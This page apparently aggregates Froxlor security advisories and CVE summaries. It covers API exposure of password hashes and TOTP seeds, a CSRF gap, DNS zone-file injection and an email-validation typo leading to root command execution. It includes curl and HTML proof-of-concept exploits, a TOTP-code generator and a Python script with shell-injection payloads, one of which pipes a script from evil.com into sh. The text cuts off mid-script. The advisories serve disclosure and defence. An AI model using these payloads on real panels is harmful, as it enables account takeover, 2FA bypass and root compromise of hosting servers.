See how froxlor compares to other vendors in security performance
Summary
Several Froxlor API command classes return sensitive authentication material in JSON API responses. The affected endpoints retrieve full database rows using SELECT , SELECT alias., or equivalent full-row queries, then return the results directly through $this->response(...) without removing credential-related fields.
The exposed fields include password hashes for customers, administrators, and FTP users, as well as TOTP 2FA seed material for administrator and customer accounts.
This exposes credential-equivalent data to API clients that should not receive it. Password hashes can be cracked offline and reused for account takeover, while exposed TOTP seeds allow generation of valid 2FA codes for affected accounts. When both a password hash and TOTP seed are exposed for the same account, the vulnerability can defeat both authentication factors if the password hash is cracked or the password is otherwise obtained.
Details
The affected API classes retrieve entire database rows and return them without filtering sensitive fields:
lib/Froxlor/Api/Commands/Customers.php
Customers.get() and Customers.listing() select and return customer rows containing sensitive fields, including:
password type2fa data2fa
When type2fa = 2, the data2fa value represents the Base32-encoded TOTP seed used by the customer's authenticator application.
The result is returned through $this->response($result) or $this->response(['list' => $result]) without removing these fields.
lib/Froxlor/Api/Commands/Admins.php
Admins.get() and Admins.listing() return administrator rows containing sensitive fields, including:
password type2fa data2fa
When type2fa = 2, the data2fa value represents the Base32-encoded TOTP seed used by the administrator's authenticator application.
These fields are not stripped before returning the API response.
lib/Froxlor/Api/Commands/Ftps.php
Ftps.get() and Ftps.listing() return FTP user rows containing:
password
The password field is not stripped before returning the API response.
This behavior appears inconsistent with Froxlor's existing safe response patterns. For example, other API command classes explicitly remove password-related fields before returning responses. This indicates that credential material and sensitive internal fields are already treated as non-response data in other parts of the product.
Proof of Concept
Preconditions
Froxlor API is enabled. A valid API key and secret exist for an account allowed to call the affected API endpoints. At least one customer or administrator account exists with TOTP 2FA enabled. For Admins., the API account must have the required permission to call the affected administrator endpoint.
Set variables:
bash export FROXLORBASE='https://froxlor.example.com' export APIKEY='<apikey>' export APISECRET='<apisecret>'
PoC 1: Customer password hash and TOTP seed exposure
bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Customers.listing","params":{}}' \ "$FROXLORBASE/api.php" | jq '.data.list[] | {customerid, loginname, password, type2fa, data2fa, email}'
Example vulnerable response:
json { "customerid": 1, "loginname": "customer1", "password": "$2y$12$REDACTEDHASHVALUE...", "type2fa": 2, "data2fa": "REDACTEDBASE32TOTPSEED", "email": "customer@example.com" }
The same issue can be verified with Customers.get:
bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Customers.get","params":{"id":1}}' \ "$FROXLORBASE/api.php"
PoC 2: Administrator password hash and TOTP seed exposure
bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Admins.listing","params":{}}' \ "$FROXLORBASE/api.php" | jq '.data.list[] | {adminid, loginname, password, type2fa, data2fa}'
Example vulnerable response:
json { "adminid": 1, "loginname": "admin", "password": "$2y$12$REDACTEDHASHVALUE...", "type2fa": 2, "data2fa": "REDACTEDBASE32TOTPSEED" }
The same issue can be verified with Admins.get:
bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Admins.get","params":{"id":1}}' \ "$FROXLORBASE/api.php"
PoC 3: FTP password hash exposure
bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Ftps.listing","params":{}}' \ "$FROXLORBASE/api.php" | jq '.data.list[] | {id, username, password}'
Example vulnerable response:
json { "id": 1, "username": "customer1", "password": "$2y$12$REDACTEDHASHVALUE..." }
The same issue can be verified with Ftps.get:
bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Ftps.get","params":{"id":1}}' \ "$FROXLORBASE/api.php"
PoC 4: Generate a valid TOTP code from the exposed seed
If type2fa = 2, the exposed data2fa value can be used to generate valid TOTP codes for the affected account.
bash export TOTPSEED='<base32totpseedfromdata2fa>'
python3 - <<'PY' import base64 import hashlib import hmac import os import struct import time
seed = os.environ["TOTPSEED"].replace(" ", "").upper() key = base64.b32decode(seed + "=" ((8 - len(seed) % 8) % 8))
counter = int(time.time() // 30) msg = struct.pack(">Q", counter)
digest = hmac.new(key, msg, hashlib.sha1).digest() offset = digest[-1] & 0x0F code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7fffffff
print(str(code % 1000000).zfill(6)) PY
The generated six-digit value is a valid TOTP code for the affected account during the current TOTP time window.
Expected behavior
API responses should never include password hashes, TOTP seeds, or other credential-equivalent authentication material in normal get or listing responses.
At minimum, the following fields should be omitted or redacted before returning API responses:
password data2fa any future credential-equivalent secret fields
Impact
An authenticated API user can retrieve credential material for accounts visible through the affected endpoints.
For password hashes, an attacker can perform offline cracking. If a weak or reused password is recovered, the attacker can authenticate as the affected customer, administrator, or FTP user. This may lead to unauthorized access to the hosting panel, FTP file access, hosted website modification, mail or database management, and lateral movement inside a shared-hosting environment.
For TOTP 2FA seeds, an attacker can generate valid one-time codes for affected administrator or customer accounts. TOTP seeds are long-lived secrets and remain valid until 2FA is reset. Exposure of data2fa therefore weakens or bypasses the second authentication factor for affected accounts.
The combined impact is especially severe when both password and data2fa are exposed for the same administrator or customer account. In that case, an attacker can attempt to crack the password hash offline and then use the exposed TOTP seed to generate valid 2FA codes, defeating both factors of authentication.
Administrator credential material is particularly sensitive because compromise of an administrator account may allow privileged panel actions and access to server-level or customer-level hosting configuration. Customer and FTP credential material is also sensitive because it may allow unauthorized access to hosted content and account-specific resources.
Remediation
API responses should be built from explicit allowlists of safe response fields instead of returning full database rows. Sensitive fields such as password and data2fa should never be included in normal get or listing responses.
As a tactical fix, remove or redact credential-equivalent fields before calling $this->response(...) in the affected API command classes.
As an architectural fix, introduce centralized response serialization for API models so that sensitive fields are consistently excluded across all endpoints. This should include password hashes, TOTP seeds, recovery secrets, API secrets, tokens, private keys, and any future authentication material.
Because TOTP seeds may have been exposed, affected installations should consider requiring 2FA reset or rotation for accounts whose data2fa values may have been returned through vulnerable API responses.
Summary
The Froxlor AJAX endpoint (lib/ajax.php) is missing Cross-Site Request Forgery (CSRF) protection. While the main application (lib/init.php) enforces CSRF token validation on all state-changing HTTP requests (POST/PUT/PATCH/DELETE), the standalone lib/ajax.php endpoint bypasses this mechanism entirely, validating only the user's session. An attacker can craft a malicious webpage that, when visited by an authenticated Froxlor administrator, silently modifies API key properties (e.g., adding the attacker's IP to the allowedfrom whitelist or extending the validuntil expiration).
---
Affected Component
- File: lib/ajax.php — the AJAX endpoint entry point (bypasses lib/init.php) - File: lib/Froxlor/Ajax/Ajax.php:66-92 — Ajax::handle() (no CSRF check before routing) - File: lib/Froxlor/Ajax/Ajax.php:257-315 — Ajax::editApiKey() (writes to database without CSRF check) - Version: Froxlor 2.3.7 (likely all prior 2.x versions)
---
Complete Call Chain: Entry Point → Vulnerable Code
Step 1: Entry Point — lib/ajax.php (standalone bootstrap, bypasses lib/init.php)
php // lib/ajax.php:26-47 namespace Froxlor;
use Froxlor\Ajax\Ajax;
requireonce dirname(DIR) . '/vendor/autoload.php'; requireonce dirname(DIR) . '/lib/userdata.inc.php'; requireonce dirname(DIR) . '/lib/functions.php'; requireonce dirname(DIR) . '/lib/tables.inc.php';
// CRITICAL: This file does NOT include lib/init.php // Therefore: NO CSRF token is checked before processing the request echo (new Ajax)->handle();
Contrast with normal flow: All admin/customer pages (e.g., admincustomers.php, customerdomains.php) do: php const AREA = 'admin'; require DIR . '/lib/init.php'; // <-- This enforces CSRF at lines 363-369
Step 2: Ajax Constructor — Session Created, No CSRF Check
php // lib/Froxlor/Ajax/Ajax.php:54-61 public function construct() { $this->action = Request::any('action'); // <-- User-controlled from GET/POST $this->theme = Request::any('theme', 'Froxlor');
UI::sendHeaders(); // Starts session, sets security headers UI::sendSslHeaders(); // HSTS headers // MISSING: CSRF token validation on POST/PUT/PATCH/DELETE }
Step 3: Ajax::handle() — Session Validation Only, Routes to Action
php // lib/Froxlor/Ajax/Ajax.php:66-92 public function handle() { $this->userinfo = $this->getValidatedSession(); // Only checks: isset($SESSION['userinfo']) // MISSING: CSRF token validation before routing // Comparison: init.php lines 363-369 WOULD check here: // if (inarray($SERVER['REQUESTMETHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) { // $currenttoken = Request::post('csrftoken', ...); // if ($currenttoken != CurrentUser::getField('csrftoken')) { ERROR; } // }
switch ($this->action) { case 'editapikey': return $this->editApiKey(); // <-- State-changing operation, no CSRF guard case 'updatetablelisting': return $this->updateTablelisting(); // <-- Also POST, also no CSRF // ... other cases } }
Step 4: getValidatedSession() — Only Checks Session Exists
php // lib/Froxlor/Ajax/Ajax.php:97-103 private function getValidatedSession(): array { if (CurrentUser::hasSession() == false) { throw new Exception("No valid session"); } return CurrentUser::getData(); // hasSession() implementation (CurrentUser.php:47-50): // return !empty($SESSION) && !empty($SESSION['userinfo']); // This ONLY verifies a session exists. // It does NOT verify the request origin or CSRF token. }
Step 5: editApiKey() — Database Mutation Without Origin Validation
php // lib/Froxlor/Ajax/Ajax.php:257-315 private function editApiKey() { // All three parameters come from attacker-controlled POST body: $keyid = Request::post('id', 0); // Source: $POST['id'] $allowedfrom = Request::post('allowedfrom', ""); // Source: $POST['allowedfrom'] $validuntil = Request::post('validuntil', ""); // Source: $POST['validuntil']
// ... IP format validation (not security-relevant for CSRF) ...
// SINK: Direct database mutation $updstmt = Database::prepare(" UPDATE apikeys SET validuntil = :vu, allowedfrom = :af WHERE id = :keyid AND adminid = :aid AND customerid = :cid "); Database::pexecute($updstmt, [ 'keyid' => $keyid, 'af' => $allowedfrom, // Attacker's IP written here 'vu' => $validuntildb, // -1 = never expires 'aid' => $this->userinfo['adminid'], 'cid' => $cid ]); return $this->jsonResponse(['allowedfrom' => $allowedfrom, 'validuntil' => $validuntil]); }
Step 6: Evidence from Legitimate Frontend — No CSRF Token Sent Even in Normal Usage
javascript // templates/Froxlor/assets/js/jquery/apikeys.js:9-17 // Even the legitimate frontend does NOT send a csrftoken: $.ajax({ url: "lib/ajax.php?action=editapikey", type: "POST", dataType: "json", data: { id: akid, allowedfrom: this.val(), validuntil: $('div[data-entry="' + akid + '"] #validuntil').val() // NOTE: No csrftoken field here — the backend doesn't require it }, // ... });
This confirms: the backend does not validate CSRF tokens, so the frontend code does not bother sending one.
---
CSRF Protection Gap: Side-by-Side Comparison
| Aspect | lib/init.php (Normal Pages) | lib/ajax.php (AJAX Endpoint) | |--------|------------------------------|-------------------------------| | Includes init.php | Yes (all admin.php, customer.php) | No — standalone bootstrap | | Session validation | ✅ CurrentUser::hasSession() | ✅ CurrentUser::hasSession() | | CSRF token generation | ✅ Froxlor::genSessionId(20) | ❌ Not generated | | CSRF token check (POST/PUT/PATCH/DELETE) | ✅ Lines 363-369 | ❌ Missing entirely | | Rate limiting | ✅ RateLimiter::run() | ❌ Not called | | Area enforcement | ✅ Admin/Customer area check | ❌ Not enforced |
---
Vulnerability Verification
Attack Path (Complete)
[Attacker] Hosts malicious HTML page at https://attacker.com/csrf.html
<form id="csrf" action="https://froxlor.example.com/lib/ajax.php?action=editapikey" method="POST"> <input type="hidden" name="id" value="1"> <input type="hidden" name="allowedfrom" value="ATTACKERIP"> <input type="hidden" name="validuntil" value="-1"> </form> <script>document.getElementById('csrf').submit();</script>
│ ▼ [Victim] Froxlor administrator browses to https://attacker.com/csrf.html - Victim has an active session at https://froxlor.example.com - Session cookie: PHPSESSID=<valid>, SameSite=Lax │ ▼ [Browser] Auto-submits POST to https://froxlor.example.com/lib/ajax.php?action=editapikey - Cookie behavior depends on SameSite policy (see below) │ ▼ [Server: lib/ajax.php] → require userdata.inc.php, functions.php, tables.inc.php → (new Ajax)->handle() │ ▼ [Server: Ajax::construct()] (Ajax.php:54-61) → $this->action = 'editapikey' (from GET query string) → UI::sendHeaders() → sessionstart() → NO CSRF CHECK │ ▼ [Server: Ajax::handle()] (Ajax.php:66-68) → getValidatedSession() → CurrentUser::hasSession() → TRUE (session cookie was sent with request) → NO CSRF CHECK before routing │ ▼ [Server: Ajax::editApiKey()] (Ajax.php:257-315) → $keyid = 1 (from POST) → $allowedfrom = 'ATTACKERIP' (from POST) → $validuntildb = -1 (from POST, parsed) → UPDATE apikeys SET allowedfrom='ATTACKERIP', validuntil=-1 WHERE id=1 │ ▼ [Impact] API key #1 now allows connections from ATTACKERIP, never expires
SameSite=Lax Analysis
Froxlor sets session cookie with SameSite=Lax (UI.php:124):
php // lib/Froxlor/UI/Panel/UI.php:118-125 sessionsetcookieparams([ 'path' => '/', 'domain' => self::getCookieHost(), 'secure' => self::requestIsHttps(), // FALSE on HTTP deployments 'httponly' => true, 'samesite' => 'Lax' ]); sessionstart();
Why SameSite=Lax is NOT a complete mitigation:
1. HTTP deployments: When requestIsHttps() returns false (plain HTTP), the secure flag is false. Many browsers (particularly older Safari and Firefox) require Secure for strict SameSite enforcement. Froxlor's own documentation supports HTTP deployment for internal networks, making this a realistic scenario.
2. Safari browser: Safari's SameSite implementation has known inconsistencies. Safari 13-15 on iOS/macOS may not enforce SameSite=Lax on POST requests as strictly as Chrome.
3. Same-site subdomain attacks: If an attacker compromises a subdomain of the same registrable domain (e.g., via DNS rebinding or subdomain takeover), SameSite=Lax provides zero protection — cookies are sent freely.
4. Defense-in-depth failure: CSRF tokens are the primary, proven defense against CSRF. SameSite cookies are a secondary defense. The absence of the primary defense leaves the application vulnerable whenever the secondary defense fails (browser bugs, HTTP deployments, subdomain attacks).
Confirmed Vulnerable Actions in Ajax::handle()
All POST-based actions in the switch statement lack CSRF protection:
| Action | Method | State Change | Risk | |--------|--------|-------------|------| | editapikey | POST | UPDATE apikeys SET allowedfrom, validuntil | HIGH | | updatetablelisting | POST | UPDATE panelusercolumns (user preferences) | Low | | getConfigDetails | POST | Read-only (config parsing) | None |
---
Impact
- Confidentiality: None — the attacker cannot directly read data through this CSRF vector - Integrity: Medium — API key properties (allowedfrom, validuntil) can be modified to add the attacker's IP to the whitelist and extend validity indefinitely. This is a stepping stone to API access (combined with another attack to obtain the API secret, such as VULN-20260526-001 plaintext secret storage). - Availability: Low — the attacker could set validuntil to a past timestamp, disabling the API key
Worst-case scenario: An administrator-level API key has its allowedfrom expanded to include the attacker's IP and its validuntil set to -1 (never expires). If the attacker later obtains the plaintext API secret (e.g., via database backup exposure — see VULN-20260526-001), they gain persistent, unauthorized API access with administrator privileges.
---
Proof of Concept
PoC HTML File
html <!-- csrfpoc.html --> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CSRF PoC - Froxlor AJAX Endpoint</title> </head> <body> <h1>Cross-Site Request Forgery Proof of Concept</h1> <p>Target: Froxlor AJAX endpoint (lib/ajax.php?action=editapikey)</p> <p>If you see this page, the form has auto-submitted.</p>
<!-- This form auto-submits to modify API key properties --> <form id="csrf-form" action="http://froxlor.example.com/lib/ajax.php?action=editapikey" method="POST"> <input type="hidden" name="id" value="1"> <input type="hidden" name="allowedfrom" value="10.99.99.99"> <input type="hidden" name="validuntil" value=""> <!-- empty validuntil = -1 (never expires) --> </form>
<script> // Auto-submit on page load document.addEventListener('DOMContentLoaded', function() { document.getElementById('csrf-form').submit(); }); </script> </body> </html>
Reproduction Steps
1. Setup: - Deploy Froxlor 2.3.7 on a test server (e.g., http://192.168.1.100/) - Create an administrator account and log in - Create at least one API key (Settings → API Keys)
2. Prepare PoC: - Host the PoC HTML file on a different origin (e.g., http://attacker.local/csrfpoc.html) - Note the Froxlor server is on http:// (not HTTPS, common for internal deployments)
3. Execute: - Ensure the Froxlor administrator has an active session - Open the PoC HTML file in the same browser (different tab) - The form auto-submits
4. Verify: - Check the API key in the Froxlor admin panel - The allowedfrom field now contains 10.99.99.99 - The validuntil field shows no expiration - Or verify directly: SELECT id, allowedfrom, validuntil FROM apikeys WHERE id=1;
Expected Result
Before attack: id | allowedfrom | validuntil 1 | | 1735689600
After attack: id | allowedfrom | validuntil 1 | 10.99.99.99 | -1
---
Root Cause
The lib/ajax.php endpoint was implemented as a completely standalone entry point that initializes its own minimal environment. It does not include lib/init.php, which provides centralized security controls (CSRF validation, rate limiting, area enforcement) for all standard admin and customer pages.
Architecturally, there are two security enforcement paths: 1. Normal pages: admin.php → require lib/init.php → CSRF check ✅ 2. AJAX endpoint: lib/ajax.php → new Ajax()->handle() → CSRF check ❌
The Ajax class performs its own session validation (getValidatedSession()) but omits CSRF token verification entirely. The legitimate frontend JavaScript code (apikeys.js) also does not send a CSRF token because the backend does not require one.
---
Fix Recommendation
Option A (Recommended): Route AJAX Through init.php
Refactor lib/ajax.php to use the standard bootstrap, ensuring all security controls apply uniformly:
php // lib/ajax.php — Refactored const AREA = 'ajax'; require DIR . '/init.php';
use Froxlor\Ajax\Ajax;
try { echo (new Ajax)->handle(); } catch (Exception $e) { header("Content-Type: application/json"); echo \Froxlor\Api\Response::jsonErrorResponse($e->getMessage(), 500); }
Pros: All security controls (CSRF, rate limiting, session management, area enforcement) apply uniformly. No code duplication. Cons: Requires frontend changes to include CSRF token in AJAX requests.
Option B (Minimal): Add CSRF Check to Ajax Class
Add CSRF token validation directly in the Ajax class:
diff // lib/Froxlor/Ajax/Ajax.php
public function handle() { $this->userinfo = $this->getValidatedSession();
+ // CSRF Protection — mirror init.php:363-369 + if (inarray($SERVER['REQUESTMETHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) { + $tokenfromrequest = Request::post('csrftoken', + $SERVER['HTTPXCSRFTOKEN'] ?? null); + $storedtoken = $this->userinfo['csrftoken'] ?? ''; + if (empty($tokenfromrequest) || !hashequals($storedtoken, $tokenfromrequest)) { + return $this->errorResponse('CSRF validation failed', 403); + } + }
switch ($this->action) { // ... existing cases unchanged } }
Frontend changes required (for both options):
diff // templates/Froxlor/assets/js/jquery/apikeys.js $.ajax({ url: "lib/ajax.php?action=editapikey", type: "POST", dataType: "json", data: { id: akid, allowedfrom: this.val(), validuntil: $('div[data-entry="' + akid + '"] #validuntil').val(), + csrftoken: $('meta[name="csrf-token"]').attr('content') }, // ... });
CSRF Token Available in Twig Templates
The CSRF token is already available as a Twig global variable ({{ csrftoken }}) set in init.php:361. Templates can expose it via:
html <meta name="csrf-token" content="{{ csrftoken }}">
---
Froxlor is open source server administration software. Prior to 2.3.8, the DomainZones.add API command in lib/Froxlor/Api/Commands/DomainZones.php accepts user-controlled record and type values without rejecting line delimiters, tab characters, semicolons, or unsupported DNS record types before lib/Froxlor/Dns/DnsEntry.php serializes the values into a BIND zone file. An authenticated customer with DNS-zone permissions can place a crafted value in the record field, or use the related type-field variant, to create additional resource-record lines that bypass Froxlor's field-level validation. BIND accepts the injected records, allowing modification of DNS data and possible DNS availability impact within a zone the caller is authorized to manage. This issue is fixed in version 2.3.8.
Summary
The DomainZones.add API endpoint (accessible to customers with DNS enabled) does not validate the content field for several DNS record types (LOC, RP, SSHFP, TLSA). An attacker can inject newlines and BIND zone file directives (e.g. $INCLUDE) into the zone file that gets written to disk when the DNS rebuild cron job runs.
Affected Code
lib/Froxlor/Api/Commands/DomainZones.php, lines 213-214, 253-254, 290-291, 292-293:
php } elseif ($type == 'LOC' && !empty($content)) { $content = $content; // no validation } ... } elseif ($type == 'RP' && !empty($content)) { $content = $content; // no validation } ... } elseif ($type == 'SSHFP' && !empty($content)) { $content = $content; // no validation } elseif ($type == 'TLSA' && !empty($content)) { $content = $content; // no validation }
There is even a TODO comment at line 148 acknowledging this gap: php // TODO regex validate content for invalid characters
The content is then written directly into the BIND zone file via DnsEntry::toString() (line 83 of lib/Froxlor/Dns/DnsEntry.php):
php return $this->record . "\t" . $this->ttl . "\t" . $this->class . "\t" . $this->type . "\t" ... . $content . PHPEOL;
And the zone file is written to disk in lib/Froxlor/Cron/Dns/Bind.php line 121:
php fwrite($zonefilehandler, $zoneContent . $subzones);
PoC
As a customer with DNS management enabled and an API key, add a LOC record with injected BIND directives:
bash curl -s -u "APIKEY:APISECRET" \ -H 'Content-Type: application/json' \ -d '{"command":"DomainZones.add","params":{"domainname":"example.com","type":"LOC","content":"0 0 0 N 0 0 0 E 0\n$INCLUDE /etc/passwd"}}' \ https://panel.example.com/api.php
Alternatively via the web UI, intercept the DNS editor form POST and set dnscontent to 0 0 0 N 0 0 0 E 0\n$INCLUDE /etc/passwd and dnstype to LOC.
After the DNS rebuild cron runs, the resulting zone file at {bindconfdirectory}/domains/example.com.zone will contain:
@ 18000 IN LOC 0 0 0 N 0 0 0 E 0 $INCLUDE /etc/passwd
BIND will process the $INCLUDE directive and attempt to parse /etc/passwd as zone data. While most lines will fail to parse as valid records, the file content is readable by the BIND process (running as bind/named user), confirming file existence and potentially leaking parseable lines as DNS records.
Impact
1. Information Disclosure: The $INCLUDE directive lets a customer read world-readable files on the server through the DNS subsystem. The zone content (including included files) is visible to the customer via the DomainZones.get API call or the DNS editor in the web UI.
2. DNS Service Disruption: Malformed zone content can cause BIND to fail to load the zone, causing DNS outage for the affected domain. Injecting $GENERATE directives could create massive record sets for amplification attacks.
3. Zone Data Manipulation: Arbitrary DNS records can be injected by breaking out of the current record line with newlines, allowing the customer to create records that were not intended.
Summary the vulnerability is that users (such as resellers or customers) are able to create accounts with the same email address as an existing account (e.g., if the admin has admin@froxlor.com, others can also create an account using the same email). This creates potential issues with account identification and security.
Impact Local/Authenticated: This vulnerability can be exploited by authenticated users (e.g., reseller, customer) who can create accounts with the same email address that has already been used by another account, such as the admin. Email-based: The attack vector is email-based, as the system does not prevent multiple accounts from registering the same email address, leading to possible conflicts and security issues.
Improper Encoding or Escaping of Output in GitHub repository froxlor/froxlor prior to 2.0.21.
Session Fixation in GitHub repository froxlor/froxlor prior to 2.1.0.
Improper Restriction of Excessive Authentication Attempts in GitHub repository froxlor/froxlor prior to 2.0.20.
Path Traversal in GitHub repository froxlor/froxlor prior to 2.0.20.
Code Injection in GitHub repository froxlor/froxlor prior to 0.10.38.2.
Code Injection in GitHub repository froxlor/froxlor prior to 0.10.39.
Froxlor through 0.10.29.1 allows SQL injection in Database/Manager/DbManagerMySQL.php via a custom DB name.
Froxlor before 0.9.35 uses the PHP rand function for random number generation, which makes it easier for remote attackers to guess the password reset token by predicting a value.
Froxlor is open source server administration software. Prior to version 2.3.6, in EmailSender::add(), the domain ownership validation for full email sender aliases uses the wrong array index when splitting the email address, passing the local part instead of the domain to validateLocalDomainOwnership(). This causes the ownership check to always pass for non-existent "domains," allowing any authenticated customer to add sender aliases for email addresses on domains belonging to other customers. Postfix's senderloginmaps then authorizes the attacker to send emails as those addresses. Version 2.3.6 fixes the issue.
Froxlor is open source server administration software. Prior to version 2.3.6, DataDump.add() constructs the export destination path from user-supplied input without passing the $fixedhomedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system. Version 2.3.6 contains an updated fix.
Froxlor is open source server administration software. Prior to version 2.3.6, DomainZones::add() accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the content field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., NAPTR, PTR, HINFO), content validation is entirely bypassed. Embedded newline characters in the content survive trim() processing, are stored in the database, and are written directly into BIND zone files via DnsEntry::toString(). An authenticated customer can inject arbitrary DNS records and BIND directives ($INCLUDE, $ORIGIN, $GENERATE) into their domain's zone file. Version 2.3.6 fixes the issue.
Froxlor is open source server administration software. Prior to version 2.3.6, PhpHelper::parseArrayToString() writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with changeserversettings permission adds or updates a MySQL server via the API, the privilegeduser parameter (which has no input validation) is written unescaped into lib/userdata.inc.php. Since this file is required on every request via Database::getDB(), an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load. Version 2.3.6 contains a patch.
Froxlor is open source server administration software. Prior to version 2.3.6, the Froxlor API endpoint Customers.update (and Admins.update) does not validate the deflanguage parameter against the list of available language files. An authenticated customer can set deflanguage to a path traversal payload (e.g., ../../../../../var/customers/webs/customer1/evil), which is stored in the database. On subsequent requests, Language::loadLanguage() constructs a file path using this value and executes it via require, achieving arbitrary PHP code execution as the web server user. Version 2.3.6 fixes the issue.
Froxlor is open source server administration software. Prior to version 2.3.6, in Domains.add(), the adminid parameter is accepted from user input and used without validation when the calling reseller does not have the customersseeall permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin's domainsused counter is incremented) and potentially exhausting another admin's quota. Version 2.3.6 fixes the issue.
Summary
A typo in Froxlor's input validation code (== instead of =) completely disables email format checking for all settings fields declared as email type. This allows an authenticated admin to store arbitrary strings — including shell metacharacters — in the panel.adminmail setting. This value is later concatenated into a shell command executed as root by a cron job, where the pipe character | is explicitly whitelisted. The result is full root-level Remote Code Execution.
---
Why This Is a Security Vulnerability (Not Just "Admin Using Admin Features")
Froxlor is a shared hosting control panel. In production deployments:
1. Admin panel access does not equal root access. Hosting providers assign the Froxlor admin role to staff who manage customer accounts, domains, and services through the web UI. These operators are not given SSH access or root shell on the underlying server. The boundary between "panel admin" and "OS root" is a deliberate security design.
2. Froxlor itself enforces this boundary. The safeexec() function (FileDir.php:224-264) exists specifically to prevent shell injection — it blocks ;, |, &, >, <, , $, ~, ?. The email validation function (validateFormFieldEmail) exists specifically to ensure email fields contain valid emails. Both mechanisms are security boundaries that this vulnerability bypasses.
3. The root cause is an unintentional code defect. The == operator on a standalone line is a no-op. No developer writes $x == 'mail'; intentionally. This is a typo that silently breaks an entire class of input validation. It is not an admin feature.
4. Comparable CVEs exist for similar hosting panel escalations: - CVE-2022-44877 (CentOS Web Panel: admin→root RCE, CVSS 9.8) - CVE-2023-27524 (Apache Superset: admin→RCE) - CVE-2021-21315 (Node.js systeminformation: privileged user→RCE) - CVE-2024-22024 (Ivanti: authenticated→system command execution)
In each case, the fact that the attacker needs authenticated access did not prevent CVE assignment. The privilege escalation from "application admin" to "OS root" is the security impact.
5. Multi-tenant impact. A single compromised or malicious admin gains root access to a server hosting potentially hundreds of customers. All customer data, databases, emails, and SSL keys are exposed.
---
Vulnerability Details
Bug 1: Input Validation Bypass (CWE-482)
File: lib/Froxlor/Validate/Form/Data.php
php // Line 169 — CURRENT CODE (BUGGY) public static function validateFormFieldEmail($fieldname, $fielddata, $newfieldvalue) { $fielddata['stringtype'] == 'mail'; // == comparison: result is discarded return self::validateFormFieldString($fieldname, $fielddata, $newfieldvalue); }
// Line 175 — SAME BUG public static function validateFormFieldUrl($fieldname, $fielddata, $newfieldvalue) { $fielddata['stringtype'] == 'url'; // == comparison: result is discarded return self::validateFormFieldString($fieldname, $fielddata, $newfieldvalue); }
What happens: - $fielddata['stringtype'] is never set to 'mail' - validateFormFieldString() checks stringtype to decide which validation to apply - Since it's unset, FILTERVALIDATEEMAIL is never called - Validation falls through to a permissive fallback regex: /^[^\r\n\t\f\0]$/D - This regex allows |, ;, &, $, , and all other shell metacharacters
Intended code: php $fielddata['stringtype'] = 'mail'; // = assignment
Bug 2: OS Command Injection via acme.sh Installation (CWE-78)
File: lib/Froxlor/Cron/Http/LetsEncrypt/AcmeSh.php
php // Line 428 FileDir::safeexec( "wget -O - https://get.acme.sh | sh -s email=" . Settings::Get('panel.adminmail'), $return, ['|'] // pipe character EXPLICITLY ALLOWED );
What happens: - Settings::Get('panel.adminmail') returns the unsanitized value from Bug 1 - safeexec() normally blocks | as a dangerous character - But ['|'] in the third argument whitelists pipe for this specific call (needed for wget | sh) - An attacker's pipe-based payload passes through unblocked - The cron job runs as root
The Chain
Admin sets panel.adminmail = "x@x.com | COMMAND" | v Bug 1: validateFormFieldEmail() does nothing (== typo) | v Value stored to database as-is | v Cron job runs AcmeSh::checkInstall() as root | v Bug 2: safeexec("wget ... | sh -s email=x@x.com | COMMAND", ..., ['|']) | v COMMAND executes as root
---
Proof of Concept vuln 1 PoC: #!/usr/bin/env python3 """ VULN-1 Live Verification: Email Validation Bypass Tests against running Froxlor Docker instance. """
import re import sys import requests
TARGET = "http://localhost:8080" USERNAME = "admin" PASSWORD = "Admin123!@#"
Malicious payloads that should be rejected by email validation but will pass due to the == vs = bug PAYLOADS = [ "x@x.com | id", "x@x.com | curl http://evil.com/shell.sh | sh", "not-an-email; whoami", "$(touch /tmp/pwned)", "testid@evil.com", ]
def main(): session = requests.Session() session.verify = False
# Step 1: Login print("[] Step 1: Logging in...") resp = session.get(f"{TARGET}/index.php") csrfmatch = re.search(r'name="csrftoken"\s+value="([^"]+)"', resp.text) csrftoken = csrfmatch.group(1) if csrfmatch else "" print(f" CSRF token: {csrftoken[:20]}...")
logindata = { "loginname": USERNAME, "password": PASSWORD, "csrftoken": csrftoken, "send": "send", } resp = session.post(f"{TARGET}/index.php", data=logindata, allowredirects=True)
if "adminindex" not in resp.url and "adminindex" not in resp.text: print(f"[-] Login failed. URL: {resp.url}") print(f" Response: {resp.text[:200]}") sys.exit(1) print("[+] Login successful!")
# Re-get CSRF token from authenticated page csrfmatch = re.search(r'name="csrftoken"\s+value="([^"]+)"', resp.text) if csrfmatch: csrftoken = csrfmatch.group(1)
# Step 2: Try to set panel.adminmail with each payload for payload in PAYLOADS: print(f"\n[] Testing payload: {payload}")
# Get settings page to get fresh CSRF token resp = session.get(f"{TARGET}/adminsettings.php?page=overview&part=all") csrfmatch = re.search(r'name="csrftoken"\s+value="([^"]+)"', resp.text) if csrfmatch: csrftoken = csrfmatch.group(1)
# Submit settings change settingsdata = { "paneladminmail": payload, "csrftoken": csrftoken, "send": "send", "page": "overview", "part": "all", } resp = session.post( f"{TARGET}/adminsettings.php?page=overview&part=all", data=settingsdata, allowredirects=True, )
